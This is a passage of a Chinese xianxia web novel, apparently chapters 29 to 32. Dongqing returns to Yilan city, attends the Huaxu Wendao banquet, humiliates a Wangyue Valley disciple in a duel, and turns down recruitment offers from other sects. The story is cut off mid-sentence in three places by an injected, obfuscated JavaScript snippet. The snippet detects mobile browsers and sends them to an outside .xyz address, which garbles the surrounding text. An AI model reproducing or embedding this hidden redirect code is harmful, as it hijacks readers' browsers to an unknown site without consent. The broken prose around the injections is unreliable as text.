“她说的鬼话,你别往心里去。”池南轻声道。 “你还信命?”冬青打量他,“看着不像。” “我虽不信,可她说的也太不吉利了些。”池南从来不信命理,但那句“恐难活过十九”不住的在脑海里萦绕,竟然他也产生了一丝难言的忐忑与怵意。 “我没放在心上,你也别信。”冬青轻轻把他放在地上,“就算真活不过十九,满打满算也还有两年时间,只要我闭上眼睛的时候不后悔,就算下一刻死也无妨。” “呸呸呸!”池南拽了拽她的衣角,“别说疯话。” 冬青看了他一眼,挥了下手,“走吧,找传送门。” 两人一前一后,在寂静的城中穿行,硕大的月轮挂在光幕外,照的雪地似鳞片一样晶亮,两人影子长长,池南盯着飘动的发带影子,有些出神。 影子忽然顿住,池南抬头看去,在堆积的柴火垛缝隙里,发现了传送门微弱的波动。 两人把无相接上,一头扎进传送门。 咚—— 周身瞬间被冰凉的湖水攫住,冬青冷不防出现在水底,疯狂挣扎起来,呛咳出一串气泡。 她立刻调动真气隔开周身湖水,压迫感消失,窒息感却铺天盖地而来,就在她面目憋的青紫时,一把璀璨光剑刺破深蓝,稳稳将她托起。 光剑带着她回到岸上,冬青如蒙大赦,躺在地上大口大口呼吸着新鲜空气,直到面上青紫减退,她才爬起来,发现自己已经回到了砚湖边。 光剑消散,无相甩了甩浮尘,“还是这里好啊,小老儿我又行了!” 冬青看向池南,他毛发蓬松,根本不像刚从水里出来。 她愤恨咬牙,合着这贺兰烬是故意整她呢? 正想着,一人便自一旁垂杨柳的阴影后踱步走出,步履闲适,折扇轻摇,月光洒在他高挺的鼻梁上,整个人半明半暗。 “还挺快。”贺兰烬停在她身前,眼皮垂下,带着促狭的笑意看着全身湿透、狼狈不堪的冬青。“怎么把自己弄成这幅落汤鸡模样?” “托你的福。”冬青撑地起身,将身上背着的箱子扔给他,“给钱。” 贺兰烬手忙脚乱接住箱子,闻言“啧”了一声,他合上扇子指了指天,“清风明月,花下佳人,你这小姑娘张口闭口就是钱,太煞风景!” “你给钱,我走人,不碍贺兰公子赏景。”冬青面无表情,手心朝上,伸的笔直。 贺兰烬见她实在油盐不进,扇子一挥,毕水立刻上前,从怀中拿出一张飞钱,“这是一千两飞钱,在各城贺兰钱庄均能兑付。” 冬青接过钱,收进袖袋,她指着带回来那箱子问,“你不检查下?” “这飞钱你不也没检查?”贺兰烬唰地打开扇子。 “成。”冬青点头,转身离去。 揣着一千两,她走路都是轻快的,手时不时伸进袖袋里摸摸,身上湿哒哒的,让夜风一吹,凉爽极了。 池南被她衣摆甩下来的水珠淋的四处躲,于是默默给她烘着衣服。 等到了竹居,衣裳也干了,她坐在石凳上,满饮一盏茶。此行不但得了一千两,还突破了御物心法第三式,简直是赚翻了。 她想着,勾了勾手指,井底清泉应召而起,凝成一股细流,一滴不漏地落进茶壶。 “华胥问道的事有着落了,明天我便和红豆说。”冬青道。 池南点头,心里始终悬着的那块大石有了稍许松动。 翌日清晨,冬青在校练场外等上剑术课的柳又青,她坐在场外一棵松树上,指尖微动,松针在她掌控下飞射而出,百步穿杨,稳稳扎进校练场那头的靶心。 试了几次后,她有些意兴阑珊,便仰头躺在粗壮的枝干上,屈肘枕在脑后,望着松针缝隙里的天空。 校练场内爆发出一声欢呼,她循声望去,原来是弟子们解散了,正三五成群地往门口来。 柳又青垂头耷脑地拎着木剑走出校练场,嘴里一边骂着师长同门一边沉手沉脚地蹭步,剑尖在地上拖出一条长痕。 正当她气不打一处来,剑尖指天大喊“我柳又青今晚一定能学会第九式”时,一道人影从上到下贴面而现,她大叫一声连退数步,差点儿摔倒在地。 她站稳了向前定睛看去,冬青正站在前面惊愣看着她。 “哈哈。”她干笑两声,尴尬地甩了甩剑,“冬青啊,我那个……一时抽风,你别在意。” “红豆,我能去华胥问道了。”冬青拿出飞钱给她看。 还没等她话音落地,柳又青便放声尖叫起来,“太好了啊啊啊!”她一把搂住冬青,就差把她抡起来甩一圈。 她松开冬青,在其身体紧绷、不知所措、呆立原地间碎碎念,“太好了,一千两!冬青你这下终于不用那么辛苦了!” 冬青缓过神来,看着柳又青这么欢喜,她心里也舒坦,两人约定三日后山脚集合,启程前往沂兰城。 其实两人本可以开一道传送门直接到达沂兰城,但柳又青非要欣赏沿途景色,便牵了辆上好马车,宽敞的可以装下一头牛。 几人沿途经过三城后,柳又青快要被颠散架了,而且看山看水都千篇一律,早失了赏景的耐心和兴奋劲,于是说什么都不坐马车了。 最后还是冬青在路途中现学了远途传送门,开了阵法,几人比原定计划早了两日便到了沂兰城。 沂兰城不愧被称为“雾城”,城外群山环抱,雾气盘亘在低空,吸进鼻腔的空气都是湿润润的。 池南走在冬青身边,看向城南的一座被雾气遮掩的山,“华胥问道就在那座山上举办。” 那山看上去和别的山没什么两样,唯独山峰被人削平了一般,取而代之的是一座悬浮在云雾中恢弘飘渺的宫殿。 “那座山叫都清山,山顶的宫殿是城主苍樾泽的宫殿。”柳又青介绍道,“其实九重天上还有三境,分别是归一、太初、无极,不过现世很少有人修炼至九重天之上,听说城主便是破归一境失败,停留在九重天已经数十年了。” 九重天之上还有等级一事冬青是知道的,就像平野山上那位老道长一样,就称自己在太初境,她质疑他仙师的身份还被笑话孤陋寡闻。 当今世上过九重天的人简直凤毛麟角,除了大宗门的几位宗主长老,怕是再无旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362875|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 几人找了一间看起来不错的酒肆,要了一桌好菜。 上菜之前,小二首先端上来两杯茯苓水,“咱沂兰城湿气重,两位客官先喝些茯苓水祛祛湿气,菜稍后就来!” 冬青端起茶杯,底部沉着两块方正的白色茯苓。她叫住小二,“麻烦再上两杯。” “好嘞!”小二甩了甩汗巾,麻利下去端水去了。 冬青坐在靠窗的位置,支着下巴百无聊赖的向下看去,忽然,对面客栈前凭空出现了五个穿着别的宗门弟子服的人。 他们穿着白色的弟子服,领口袖边皆有金色花纹点缀,其中两人佩剑,两人空手站在一旁,四人目光都聚在为首那人身上,似乎在等待那人指示。 “看来是开传送门来的。”柳又青伸长了脖子望去,“是万法阁的弟子。” 为首的万法阁弟子背对着她们,抬头看了看客栈牌匾,旋即摇了摇头。 他侧过身子,半束的发髻后,一片流苏金叶熠熠生辉,他正招呼其余四人离开,目光忽然像飞箭一般射来。 柳又青被他吓了一跳,但马上柳眉倒竖,恶狠狠的瞪了回去。 那人表情出现一瞬间的僵裂,仿佛在说“这姑娘是不是有病”,随后收回目光,若无其事的离开。 “切。”柳又青扭回头,“看什么看!” 她夹了一筷子烧鸡塞进嘴里,话锋一转,“诶冬青,你看见没,刚才那人长得还挺俊的!” 一旁假寐的狐狸立刻竖起一只耳朵。 冬青失笑,“那你还瞪人家?” “怎么,长的好看就不能瞪啦?那他怎么还瞪我?”柳又青哼哼一声,埋头扒饭。 “自恋。”池南冷酷无情的评价道,声音不大不小,恰好能让桌上三人都听清。 “……”柳又青把筷子一拍,缠住冬青,摇着她的胳膊不乐意道,“冬青你看他!” 冬青遂了她的意,抽出手在狐狸头顶上不轻不重的拍了一下。 狐狸也不乐意了,一双金瞳情绪复杂,颇有“你竟然向着她不向着我”的意味。 冬青一个头两个大,故作严肃,“好好吃饭。” 柳又青跨过她看向池南,一人一狐两不对付,同时转头,一个拎起筷子狼吞虎咽起来,一个换了个方向继续假寐。 饭毕,几人腆着肚子在街上寻找客栈,忽然,前方一家古朴清雅的小客栈吸引了几人的注意。 檐角的幌子上写着玉上观三个隽秀大字,两侧种满了一种玉色的叫不出名字的花,二层薄纱从窗里荡出来,如雾般轻薄。 “这家好!就这儿了!”柳又青大摇大摆的走进去,“店家!” 店主穿着一袭藕色素纱,身姿袅娜,美人如玉,顾盼生辉,“姑娘,住店吗?” 柳又青嗓音瞬间软了下来,“住店,两……两间上房。” “实在抱歉,小店只剩一间上房了。”店主歉然一笑。 “这……”柳又青看向冬青,眼睛瞬间放光,“冬青,我们睡一间吧!” 冬青无奈点头。 柳又青正要掏钱,银锭即将接触到桌台的刹那,一抹银光“咻”地从身后袭来,“铛”的一声,她的银锭被撞的在桌上滴溜溜打转,另一块银锭则稳稳停在店主面前。 身后传来一个含笑的挑衅的声音,“这间上房,我要了。” 30. 第 30 章 柳又青和冬青同时回头,只见方才那个万法阁弟子正抱臂站在门前,好整以暇地挑眉看着她们。 “喂!”柳又青一点就着,“先来后到懂不懂!” “我比你先付钱,怎么就不是先来后到了?”他倚着门框,懒散抬手,正了正发侧的金叶发饰。 冬青眯眼看去,那金叶流光内蕴,似乎是个法器。 “不是,你谁啊你!”柳又青像个炸毛小狗,跳脚叫嚣着。 他站直了身子,居高临下道,“万法阁,梅景。” “呸!”柳又青一把抓过他的银锭,狠狠掼在地上,“还梅景?我看你是梅道理!梅教养!” “你!”梅景没想到这看起来乖巧可爱的小姑娘如此咄咄逼人,一时气结,竟找不到词反驳。 冬青忍俊不禁,池南低声介绍道,“梅景是万法阁阁主的关门弟子,没想到也来参加华胥问道了。” 她趁这两人争执不休,偷偷走到桌台旁,把银锭放进店主手心,悄声道,“别管他们俩,我先付了。” 店主会心一笑,从一侧墙壁上取下房间木牌,轻轻递给冬青。 柳又青和梅景还在僵持着,冬青提着柳又青的包袱,先行上了楼去,把行李安置在房间里,站在二楼栏杆边,将手肘闲闲搭着。 “二位。”她声音不大,却清晰入耳。 楼下剑拔弩张的两人同时抬头看去。 她抬起手,五指一松,一个木牌垂落在她指尖,红色流苏轻轻摇晃,“这房间,我先笑纳了。” 柳又青跳起来对冬青竖了个大拇指,对着脸色难看的梅景做了个鬼脸,随后大笑着走上楼,“啊哈哈哈冬青我来啦!” 梅景捡起脚边的银锭,咬牙骂了一句“小人得志”后愤愤转身离去。 柳又青如愿住进心仪的房间,连带着两天都是蹦蹦哒哒的,冬青发现此人十分率真,开心就笑,不如意就闹,好像从未有什么事真正困住过她。 沂兰城好山好水,风景如画,她整天拉着冬青招摇过市,陆陆续续见到了好多其他宗门的弟子。 其间她们又撞见梅景一回,柳又青和他佯装互不相识,只在擦肩而过的时候暗自较劲,狠踩对方的脚,等错身走过,她才抱着脚嘶嘶抽气,大骂“长得人模狗样,性子却那么恶劣,小心以后娶不到妻!” 两日后,散布在沂兰城各处的宗门弟子都收到了一封雾气写就的信,信里说“明日卯时,雾梯相接,恭请各位上都清山。” 翌日,终年笼罩沂兰城的雾气竟罕见的散了,温暖干燥的日光从头顶洒下,城内百姓纷纷走上街头,贪婪的晒着日光。 冬青也推开窗,将身子探出去,闭目感受久违的暖意。 一缕小臂粗的雾气飘到窗前,迅速分散变换,一架由雾气搭就的天梯从窗根一直延伸而出,直抵远处都清山顶的缥缈宫殿。 她极目远眺,见城中四面八方皆有乳白雾梯通向都清山,各宗门弟子登上雾梯,似腾云驾雾一般向着宫殿而去。 楼下人群中爆发阵阵惊呼,街市上的百姓纷纷抬头望去,不知是谁起的头,冬青侧耳听了一会,才分辨出百姓们欢呼的是“仙之人兮列如麻”。 “这梯子属实有趣!”无相飘出窗外,忍不住伸手,摸到一掌潮湿的水汽,“合着苍樾泽是把城上的雾都抽走做成梯子了啊?” “那为何不干脆把雾气全都抽走,沂兰城的百姓见不到太阳,每天不憋得慌吗?”柳又青扒着窗户问。 “万物自然之势,不可违逆。”冬青忽然想到那位老道长说过的话,情不自禁脱口而出。 柳又青:“这么高深!” 她想了想,“但我大概能理解,若依兰城突然没有了雾,首先百姓赖以生存的庄稼就会缺水死亡,更别说其他了。” 空中悬浮着的雾梯陆陆续续消失,几人刚一踏上梯子,雾气像有所感应一般,托着他们一路平稳向上,冬青回首瞧了瞧,身后梯子一点点消失,露出越来越远的大地。 她忽然有些腿软。 一旁的池南抬头,“怎么了?” 冬青摇摇头。 他看向她青白的指尖,恍然低笑,用只有她能听见的声音道,“冬青,你恐高啊?” 冬青蹲下身,一把捏住狐狸的嘴筒子,示意他闭嘴。 池南倒也没恼,只是不大自在的从她的桎梏下挣脱出来,用真气悄悄把她身后围住。 几人由雾梯载着,很快便到了都清山顶,在踏上实地的那一刻,冬青悄然松了口气。 眼前雾气散去,露出云雾后的恢弘宫殿,月白色的殿身仿佛由冰晶打造一般,纯净剔透,在稀薄天光下流转着清冷光辉。 冬青环视四周,见到了不少熟人,有紫荷师姐、沈秋溪、贺兰烬,还有跟在闻儒可身后的闻氏兄弟。 她略一思忖,没有主动上前打招呼。 人群熙攘,各大宗门和世家子弟混杂在一起,竟也如集市一般喧闹。 “娘!”柳又青忽然向着刚乘雾梯上来的一行人喊了一嗓子。 与冬青印象里的柳家主一样,一个身着佛头青色锦服的女子踏上山顶,她嘴角两侧有一道深刻的如刀割般的纹路,眼角上扬,庄严肃穆,不怒自威。 听见柳又青亲昵的呼唤,柳兰瑛也只是面无表情甚至堪称威严地看过来,站在她身后的高挑侍女立刻对柳又青屈了屈膝,道:“姑娘,不可朗声喧哗。” 柳又青立刻缩起脖子,讪讪道,“哦。” 也难得这样的母亲能养出一个天真活泼的女儿,冬青看向柳兰瑛,只觉得这世间母亲千姿百态,教养出的儿女也各不相同,但能真正长成母亲所期望模样的,或许并不多。 也不知道她活没活成娘期望的那样。 吱呀—— 随着一声厚重的推门声响起,人群不约而同的噤了声,冬青也抬头望去。 自门后阴影走出来一人,长长的鹤发如银瀑披下,身着银灰色拖地长袍,银线暗纹在阳光下粼粼生辉。他走到殿前,被阳光刺了眼一般眯起眼睛,冬青这才看清,他竟生着一幅颇为年轻的脸。 “相传,苍樾泽是当初破归一境未成遭真气反噬,一夜白发。”池南解释道。 “各位。”阶前人忽然出声,声音穿透力极强,回荡在山顶上空。“有幸得以邀请诸位前来华胥问道,请移步殿内稍事歇息,宴会即刻开始。” “这就用膳了吗?”冬青看着像小鸭子一样自动跟在各宗门或世家长老身后的弟子们,一时不知道自己该跟在谁身后。 “这只是一个见面礼,好戏还在后面。” 身后忽然传来一个熟悉的温润的声音,冬青回头看去,只见沈秋溪站在她身后,对她和煦地笑了一下。 “沈师兄?”冬青微怔。 沈秋溪笑道:“今日师父不在,冬青师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362876|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹可否带我进去?” 他看出了冬青的心事,体贴地用了这般说辞,既化解了她的局促,也表明了维护同门的态度——即便她名义上仍只是个杂役。 “沈秋溪,你这可就不厚道了。”紫荷师姐不知何时从殿内折返回来,用手肘揽住冬青的脖子,对他一扬下巴,“冬青是我院里的,怎么着都应该是我带着进,你凑什么热闹?” “是是是。”沈秋溪失笑,从善如流,“桑善道人也没来吧,不若我们一起进去?” 紫荷睨了他一眼,无可无不可的同意了。 “小冬青,我们走!”她挽着冬青,率先朝殿内走去。 宫殿内气温很低,常年不透日光加之山上湿气浸润,呼吸间都带着一股清寒水意。冬青左手边是紫荷,右手边坐着柳又青,池南则安静地趴在她脚边。 对面席上,贺兰烬朝她眨了下眼。 大殿上首的苍樾泽拍了两下手,丝竹管弦悠然而起,侍者端着精致的盘子从两侧鱼贯而入,一众持剑男子走进殿中,跳起剑舞。 “这个好!”紫荷拿了一块梨花糕,一口咬掉半块,“漂亮姑娘们看腻了,总算换了点花样。” 冬青心思不在赏舞上,她仔细观察着在座众人,方才在殿外太过混乱,现下倒是看得分明。 首先是各大宗门,仙人顶宗主青崖仙人闭关未至,三大门主只来了云开天师,桑善道人和逍遥老儿都没来,两人座下大弟子紫荷和沈秋溪代为列席;折云宗宗主焚清太师据说正在突破无极境,自然也不会出现,弗如仙师也没见其人,倒是来了不少弟子…… 想到这儿,她垂首看了一眼趴在脚边的狐狸,也不知道小红的师父来没来。 她又将视线投至对面席间,万法阁阁主不见人影,弟子们都在梅景身后坐着,而梅景毕恭毕敬的那位女子,想必就是其师母玉阙元君;望月谷谷主倒是来了,就是带着副面具,看不清真容。 镜禾坞和破阵子来的人不多,两宗都只有一位长老带着,身后跟着稀稀拉拉的弟子。 再有就是各大世家,丹修闻家和柳家,器修贺兰家,符修廖家,阵修奚家,每家家主都来了。 倒是没听说剑修有什么显赫世家。 一舞作罢,舞者收势退下。 “城主大人,抱歉,在下来迟了。” 殿外忽然传来一个爽朗含笑的声音,随后一个少年身影大步流星走进来,步履生风,径直停在大殿中央。 他身着折云宗弟子服,腰间佩着把细长的剑,细细看去衣摆和袖口还沾着血迹。 “折云宗燕明光,代师父弗如仙师向城主问好。”殿中人朗声拱手,飒爽一礼。 池南骤然起身,太好了,是他师弟。 苍樾泽手虚虚一抬,“快快免礼,尊师一切可好?” “劳城主挂心,家师一切安好。” 苍樾泽问:“你师兄呢?许久未见,还在各国游历?” 池南倏地抬眸看去。 白晓城一战后,想必师父和师弟是封锁了他元神离体的消息,以免有心之人趁虚而入,因此外界怕是以为他还在各国游历。 燕明光动作几不可察地顿了一下,随后神色如常,“师兄潇洒惯了,想必此刻不知道在哪个山水间惬意呢。” 他话锋不着痕迹地一转,锐利的眼神向上望去,“城主与我师兄似乎只见过寥寥数面,怎么问起我师兄了?” 31. 第 31 章 “如此年轻的剑道九重天,自然令人难忘,今日未能一见,属实遗憾。”苍樾泽淡淡一笑,他脸上没什么血色,因此笑起来给人的感觉格外单薄。 “我代师兄向城主赔个不是了。”燕明光爽朗一笑,俯身作揖。 苍樾泽抬起手,“何必多礼,快请入坐。” 燕明光走到折云宗一众弟子前落座。 宴会继续进行,酒水清甜,冬青忍不住多喝了几口,她悄声问池南,“你饿不饿?” 池南心思全在折云宗那边,因此没听清冬青说了什么,“嗯?” 冬青顺着他的目光看去,见对面席上的燕明光其他弟子们团团围着问东问西,她低头道,“一会宴席散了,你便去找他们吧。” 池南点头,“嗯”了一声。 忽然身后传来一声问,“紫荷身边是谁?生面孔啊。” 立刻有人附和道,“怎么还带着只狐狸?” “狐狸怎么了?贺兰还带只猫呢!” “没穿弟子服,莫非是哪个世家的?” 这时,一个熟悉到令人厌烦的声音响起,带着十足的不屑,声音大的能盖过丝竹钟磬,“什么世家,不过是仙人顶一介没名没分的杂役罢了。” 池南立刻冷眼看去,不是闻氏兄弟那两个败类还能是谁? “啊?杂役?”闻向度身旁一个望月谷弟子立刻嫌弃看来,“来华胥问道的,哪个不是有头有脸的人物?区区一个杂役怎么也混进来了?这可不是集市,什么阿猫阿狗都能来沾边!” 此话一出,紫荷立刻把筷子重重一拍,双眼利剑般刺去,“我们仙人顶的人,就算是阿猫阿狗,也轮不到你来评头论足吧?” 那弟子梗着脖子,“仙人顶是没人了吗,带个杂役来,也不嫌弃丢脸!” 私语四起,冬青仍是气定神闲的喝茶,直到杯中茶饮尽,她才轻轻把茶杯一放,起身,缓步走到那弟子面前,垂眸俯视着他。 “你叫什么?”她声音平静,却带着一股冷意。 那弟子被她的气势慑得一怔,下意识脱口而出:“关……关至。” “哦,关至。”冬青笑了一下,“来华胥问道的哪个不是有头有脸的人物——” 她忽然俯身,“可我怎么没听过你呢,关至?” 话音落下的瞬间,关至和旁边闻氏兄弟桌上所有精致的瓷盘,毫无征兆地齐齐迸裂!碎片溅了一桌。 他瞠目结舌地看着那潇洒转身的背影,后知后觉地听出她的嘲讽,手指发抖指着她,“你!” 那身影忽然停住,冬青侧头冷冷瞥了他一眼,“还有,我不叫阿猫阿狗,我叫冬青。” 她收回目光,经过闻氏兄弟时,两人身下木凳咔嚓一声断裂,兄弟俩猝不及防,一屁股摔在地上。 与此同时,闻儒可手中握着的酒杯突然裂开一条缝,透明的液体顺着缝隙从他虎口流下,滴滴答答落在桌上,杯身残存的真气渐渐消散,他瞳孔皱缩。 始作俑者一个眼神都懒得给他们,走回座位若无其事地落座。 “爽!”柳又青猛灌一口酒,扭头对闻氏兄弟“呸”了一口。 “冬青。”沈秋溪越过紫荷看向她,上次见这小丫头时在她身上还察觉不到真气波动,但方才他却真真切切察觉到了,“今冬仙人顶招生,你要不要试试?好好准备一下,或许能直接进内门,便不用从外门做起了。” 冬青言简意赅,“试。” 这时,一直未出声的望月谷谷主席子昂低沉地笑了两声,面具下目光难以捉摸,“这位……冬青小友,甚是有趣,仙人顶真是人才辈出、卧虎藏龙啊。” 冬青扭头看去,视线扫过脸色铁青的关至,“谷主过誉了,望月谷自然也是人才济济。” 这话听不出褒贬,却让关至的脸更青了几分。 关至再忍不住此番羞辱,他拍桌而起,“你好大的口气!敢不敢跟我比试一番?!” 她挑眉,还挺有骨气。 “呦。”梅景笑道,“有好戏看了。” 乐声不知道何时停了,一众舞姬也早不见踪影,此刻剑拔弩张的气氛充斥在大殿的每一个角落,几乎所有人的目光都凝聚在两人身上。 这已经不是两人的矛盾了,关至此番邀战,就是明摆着将两人矛盾转化成望月谷与仙人顶的争斗,输的那一方所在的宗门,必会颜面扫地。 众目睽睽之下,冬青沉静放下杯盏,两人一坐一站,气势上仿佛却是站着的关至矮了一截一般。 “好啊。”她唇角勾起一抹极淡的弧度,眉眼间却是一点笑意也无。 一石激起千层浪,殿内顿时响起一片哗然议论。不出意外,几乎所有人都倾向关至,仿佛那身望月谷弟子服本身就代表着绝对的说服力。 “还有,”关至笑的恶劣,“输的人,要跪下给对方磕三个响头,你敢吗?” 对此,冬青只说了一个字:“敢。” 贺兰烬摇着扇子,懒散倚在座位上,向上首的城主一拱手,“听说城主大人后山有一处桃林,不知可否移步那里,届时漫天花瓣飞舞,观战岂不是别有一番意趣?” 苍樾泽颔首,“那诸位,我们便移步至桃林吧。” 众人起身涌向门口之际,紫荷和柳又青拉住冬青,前者嘱咐道,“冬青,输赢不重要,小心为上,莫要伤了自己。” 后者塞给她几枚丸药,“这是烟花弹,扔出去,保他连亲娘都看不清!” 冬青安抚的拍了拍两人的肩膀,沈秋溪靠近低语,“名声不重要,仙人顶的名声也不需要你一个小姑娘来扛,冬青,你想退便退,想战便战,天塌下来,还有我和你紫荷师姐顶着。” 唯一的长老云开天师站在一旁,看着几人并未出言,赢了,他作为仙人顶的三位长老之一自然跟着长脸;输了,一个连外门都算不上的杂役弟子,跟仙人顶又有何关系呢? 冬青承了几人好意,没说进退,只是默默坠到人群最后,看向打着哈欠的狐狸,见他没有说话的打算,说:“我以为你会想嘱咐我些什么。” “那几人太啰嗦。”池南看向她,眼底那股自己都察觉不到的骄傲劲涌上来,“你揍他,小菜一碟。” 冬青嗤笑一声,跟随人群离开了大殿。 都清山谷,十里桃林,向下看去如一条粉色溪流从青山间悠扬穿过,景色美矣。 但此刻除了贺兰烬那个骚包估计没人把心思放在桃花上,千百条视线死死黏在站在中心的冬青和关至身上,几乎要将两人戳出个窟窿来。 关至五指一张,腕间的手链立刻化成一对流星锤,咚的一声砸在地上,地面微颤。 众人又看向两手空空的冬青。 “她怎么没拿法器?” “该不会是没有吧?” “没有?那还比什么?” “城主大人,我没有法器。”冬青长身玉立,淡淡开口。 人群顿时爆发出更大的议论声,甚至连一些仙人顶弟子都在暗暗摇头,无人相信一个名不见经传的杂役能胜过望月谷的内门弟子。 “真没有?还不如干脆认输!” “是啊,这不是丢仙人顶的脸吗?” “那你想如何呢?”苍樾泽坐在侍者搬来的椅子上,饶有兴致问道。 “可否折一枝城主大人的爱花一用。”冬青指了指他身后开得正盛的桃树。 苍樾泽愣了一下,随后道:“请便。” 一根两指粗的花枝被无形之力齐根削断,冬青手一伸,那花枝便稳稳落至她手上。 她学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362877|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着校练场上弟子比试前那样挽了个简单的起手式,繁花簌簌而落,“请。” 关至咬着一句“花花架子”怒喝前冲,带着十足威力的流星锤裹着真气呼啸抡过,冬青仰头躲过,手腕一转,花枝猛地抽在他腰侧。 流星锤狠狠砸在地上,把草地砸出一个大坑。 贺兰烬用扇子挡着半张脸,不忍看去,“这打相太差。” 关至如不怕疼一般,后退一段距离后,手中大锤忽然相交旋转着向前抡来。 冬青纹丝不动站立原地,在锤头马上砸来时,手中花枝逆向旋动,硬如玄铁,狠狠绞住流星锤锁链,猛地向上一挑! 重逾千斤的锤头被轻飘飘挑上了天,关至被带的后仰,余光中见一木刺在视野里迅速放大,直奔咽喉而来。 燕明光瞳孔一缩。 关至忙抽身侧旋,花枝擦着颈侧而过,带起一丝血线。 娇嫩花瓣染了血,脱落在地上,冬青看着花枝上的血迹,嫌恶地将其扔在了一边。 流星锤再次当头砸下,这次带着十成十的力道与杀意,正当所有人都倒吸一口凉气,认为冬青难逃此劫时,那让人望生惧意的大锤蓦地在冬青头顶一寸僵住。 而顶住千钧之力的,竟然是一片小小的花瓣。 冬青掌心向上,慢慢抬起手,那大锤便被四两拨千斤地抬离头顶,若不是关至脸憋得通红,青筋暴起,任谁都会以为那骇人的锤头是棉花填的。 “还没结束呢。”冬青五指骤然一收! 玄铁锤头像被一只手无形捏爆一般,在刹那间化为齑粉,锁链寸寸断裂,气浪直接将关至掀飞。 苍樾泽头顶的桃花树忽然摇动,一根粗壮的枝干以肉眼可见的速度生长,在关至掉落下来时,“噗”的一声,刺穿了他屁股上的布料,将其悬吊在枝梢。 仿佛空气被抽走一般,在场没有一个人出声,难以置信地看着眼前匪夷所思的一幕。 “这……怎么可能?”直到人群里有人颤抖着问出来,这片寂静才彻底被打破。 柳又青大叫,“呜呼!冬青!爽!” “……这是哪门哪派的招式,怎么从未见过?” “百年未见的御物术士,在你们仙人顶当杂役?”玉阙元君含笑看向云开天师,“云开,你们仙人顶够没眼光的。” 云开天师老脸一沉,他怎么从未发现仙人顶有这号人物?! “御物术士?!” 水泼热油般,人群吵嚷起来,从“冬青不自量力”逐渐转变成“关至眼瞎活该”。 “嘶拉——” 一声脆响格外刺耳,吵得火热的人群立刻安静下来,齐刷刷望去—— 挂在树梢的关至裤子布料彻底裂开,他从树上狼狈摔下,冰凉的谷底空气贴上腿根,他心一抖,回头看去,只见屁股后面开了一条大缝,牡丹花纹的亵裤暴露在光天化日、众目睽睽之下。 “这对牡丹简直是奇耻大辱。”贺兰烬象征性地用扇子挡住眼睛。 “还打吗?”冬青走到他面前,睥睨着他。 关至此刻羞愤交加,他捂着屁股,只想找个地缝钻进去! “看样子是不想打了。”冬青手一抬,地上玄铁碎末抖动着升空,拼凑回流星锤的模样,只是光泽淡了许多。 她看着关至那身残破的弟子服,那身象征着身份与地位的弟子服,不过是泥塑上贴的金罢了,金玉其外,败絮其中。 不是所有穿上那身衣服的人都能配得上这身衣服带来的名誉和声望,而有的人即便身着粗布麻衣,也掩盖不住其散发的光芒。 “那三个响头就免了,我受不起。”冬青手一松,修复好的流星锤“咣当”一声砸在关至手边,“下次放话前先掂量掂量自己几斤几两,丢人现眼。” 32. 第 32 章 一阵风过,飞花漫天。 冬青对在场各位长老轻轻一拱手,随后在一众仙人顶弟子的簇拥下站到人群里。 在场众人神色各异,心思浮动。 闻儒可更是脸色阴沉的能滴出墨来。 关至心如死灰地趴在地上,望月谷的弟子们面上挂不住,急忙找了快破布盖在他身上,将他拖了下去。 而席子昂作为望月谷谷主,丝毫没有因为自家弟子当众出丑而显出任何愠怒之色,反而走到冬青面前公然撬起墙角。 “冬青,要不要考虑来望月谷?我会免去你的入门比试,直接给你内门弟子的身份。” “席谷主,”云开不乐意了,强调道,“这是我们仙人顶的人。” “不只是个杂役弟子吗?”席子昂笑了一下,玄铁面具下的眼神却分外锐利,“况且,待在仙人顶也是明珠蒙尘,倒不若来我们望月谷,必不埋没你的天赋。” “你们望月谷的人刚还瞧不上人家,现在却上赶着招揽了?”玉阙元君纤指点着席子昂的肩膀,将他轻轻推开。 她走到冬青面前,笑意盈盈,“望月谷有什么好的,来我们万法阁吧,我收你做关门弟子。” 事态瞬间两极反转,方才还作壁上观的众人态度骤变,各怀心思,暗流涌动。 “咱们小冬青也变得抢手喽。”无相躺在树枝上,悠闲晃着腿,静静观察着这可笑一幕。 多方僵持下,冬青终于开口,声音清晰而平静:“承蒙各位长老厚爱,仙人顶待我很好,我不会转投他宗。” 在所有人注意力都在冬青身上时,云开天师悄悄松了口气。 幸好桑善和逍遥那两个老家伙都没来,这一棵独苗苗,可就是他的了! 冬青明言拒绝后,席子昂和玉阙元君倒是都没恼,只是遗憾地笑笑,转身走了。 